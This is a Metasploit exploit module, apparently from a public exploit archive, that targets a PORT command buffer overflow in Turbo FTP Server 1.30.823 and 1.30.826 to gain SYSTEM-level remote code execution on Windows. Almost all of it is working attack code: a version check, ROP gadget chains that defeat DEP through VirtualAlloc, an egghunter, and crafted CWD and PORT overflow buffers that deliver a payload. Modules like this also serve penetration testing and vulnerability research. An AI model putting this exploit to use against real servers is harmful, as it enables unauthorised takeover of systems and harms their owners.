Turbo FTP Server 1.30.823 - PORT Overflow (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Turbo FTP Server 1.30.823 PORT Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow vulnerability found in the PORT
				command in Turbo FTP Server 1.30.823 & 1.30.826, which results in remote
				code execution under the context of SYSTEM.
			},
			'Author'         =>
				[
					'Zhao Liang',    #Initial Descovery
					'Lincoln',       #Metasploit
					'corelanc0d3r',  #Metasploit
					'thelightcosine' #Metasploit
				],
			'License'        => MSF_LICENSE,
			'Platform'       => [ 'win' ],
			'References'     =>
				[
					[ 'OSVDB', '85887' ]
				],
			'Payload'        =>
				{
					'BadChars'       => "\x00",
					'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' => { 'BufferRegister' => 'EDI' }
					},
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					['Windows Universal TurboFtp 1.30.823',
						{
							'Ret' => 0x00411985, # RETN (ROP NOP) [tbssvc.exe]
							'ver' => 823
						},

					],
					[ 'Windows Universal TurboFtp 1.30.826',
						{
							'Ret' => 0x004fb207, # RETN (ROP NOP) [tbssvc.exe]
							'ver' => 826
						},
					],
				],

			'DisclosureDate' => 'Oct 03 2012',
			'DefaultTarget'  => 0))
	end

	def check
		connect
		disconnect
		if (banner =~ /1\.30\.823/)
			return Exploit::CheckCode::Vulnerable
		elsif (banner =~ /1\.30\.826/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end


	def create_rop_chain(ver)
		# rop chain generated with mona.py - www.corelan.be
		if ver == 823
			rop_gadgets =
			[
				0x004b692a,	# POP ECX # RETN [tbssvc.exe]
				0x005f6074,	# ptr to &VirtualAlloc() [IAT tbssvc.exe]
				0x0046f82a,	# MOV EDX,DWORD PTR DS:[ECX] # SUB EAX,EDX # RETN [tbssvc.exe]
				0x00423b95,	# XCHG EDX,EDI # RETN [tbssvc.exe]
				0x00423a27,	# XCHG ESI,EDI # RETN [tbssvc.exe]
				0x005d1c99,	# POP EBP # RETN [tbssvc.exe]
				0x004cad5d,	# & jmp esp [tbssvc.exe]
				0x004ab16b,	# POP EBX # RETN [tbssvc.exe]
				0x00000001,	# 0x00000001-> ebx
				0x005ef7f6,	# POP EDX # RETN [tbssvc.exe]
				0x00001000,	# 0x00001000-> edx
				0x005d7139,	# POP ECX # RETN [tbssvc.exe]
				0x00000040,	# 0x00000040-> ecx
				0x004df1e0,	# POP EDI # RETN [tbssvc.exe]
				0x00411985,	# RETN (ROP NOP) [tbssvc.exe]
				0x00502639,	# POP EAX # RETN [tbssvc.exe]
				0x90909090,	# nop
				0x00468198,	# PUSHAD # RETN [tbssvc.exe]
			].flatten.pack("V*")

		elsif ver == 826
			rop_gadgets =
			[
				0x0050eae4,	# POP ECX # RETN [tbssvc.exe]
				0x005f7074,	# ptr to &VirtualAlloc() [IAT tbssvc.exe]
				0x004aa7aa,	# MOV EDX,DWORD PTR DS:[ECX] # SUB EAX,EDX # RETN [tbssvc.exe]
				0x00496A65,	# XOR EAX,EAX [tbssvc.exe]
				0x004badda,	# ADD EAX,EDX # RETN [tbssvc.exe]
				0x00411867,	# XCHG EAX,ESI # XOR EAX,EAX # POP EBX # RETN [tbssvc.exe]
				0x00000001,	# 0x00000001-> ebx
				0x0058a27a,	# POP EBP # RETN [tbssvc.exe]
				0x004df7dd,	# & call esp [tbssvc.exe]
				0x005f07f6,	# POP EDX # RETN [tbssvc.exe]
				0x00001000,	# 0x00001000-> edx
				0x004adc08,	# POP ECX # RETN [tbssvc.exe]
				0x00000040,	# 0x00000040-> ecx
				0x00465fbe,	# POP EDI # RETN [tbssvc.exe]
				0x004fb207,	# RETN (ROP NOP) [tbssvc.exe]
				0x00465f36,	# POP EAX # RETN [tbssvc.exe]
				0x90909090,	# nop
				0x004687ff,	# PUSHAD # RETN [tbssvc.exe]
			].flatten.pack("V*")
		end
		return rop_gadgets

	end

	def exploit
		my_target = target
		if my_target.name == 'Automatic'
			print_status("Automatically detecting the target")
			connect
			disconnect

			if (banner =~ /1\.30\.823/)
				my_target = targets[1]
			elsif (banner =~ /1\.30\.826/)
				my_target = targets[2]
			end
			if (not my_target)
				print_status("No matching target...quiting")
				return
			end
			target = my_target
		end

		print_status("Selected Target: #{my_target.name}")
		connect_login

		rop_chain = create_rop_chain(target['ver'])
		rop = rop_chain.unpack('C*').join(',')

		eggoptions =
			{
				:checksum => true,
				:eggtag => 'w00t',
				:depmethod => 'virtualalloc',
				:depreg => 'esi'
			}

		badchars = "\x00"
		hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

		speedupasm = "mov edx,eax\n"
		speedupasm << "sub edx,0x1000\n"
		speedupasm << "sub esp,0x1000"
		speedup = Metasm::Shellcode.assemble(Metasm::Ia32.new, speedupasm).encode_string

		fasterhunter = speedup
		fasterhunter << hunter

		print_status("Connecting to target #{target.name} server")

		buf1 = rand_text_alpha(2012)
		buf1 << egg
		buf1 << rand_text_alpha(100)

		buf2 = rand_text_alpha(4).unpack('C*').join(',')
		buf2 << ","
		buf2 << [target['Ret']].pack("V").unpack('C*').join(',') #eip
		buf2 << ","
		buf2 << rop
		buf2 << ","
		buf2 << fasterhunter.unpack('C*').join(',')
		buf2 << ","
		buf2 << rand_text_alpha(90).unpack('C*').join(',')

		send_cmd( ['CWD', buf1], true );
		send_cmd( ['PORT', buf2], true );

		print_status("Egghunter deployed, locating shellcode")

		handler
		disconnect
	end

end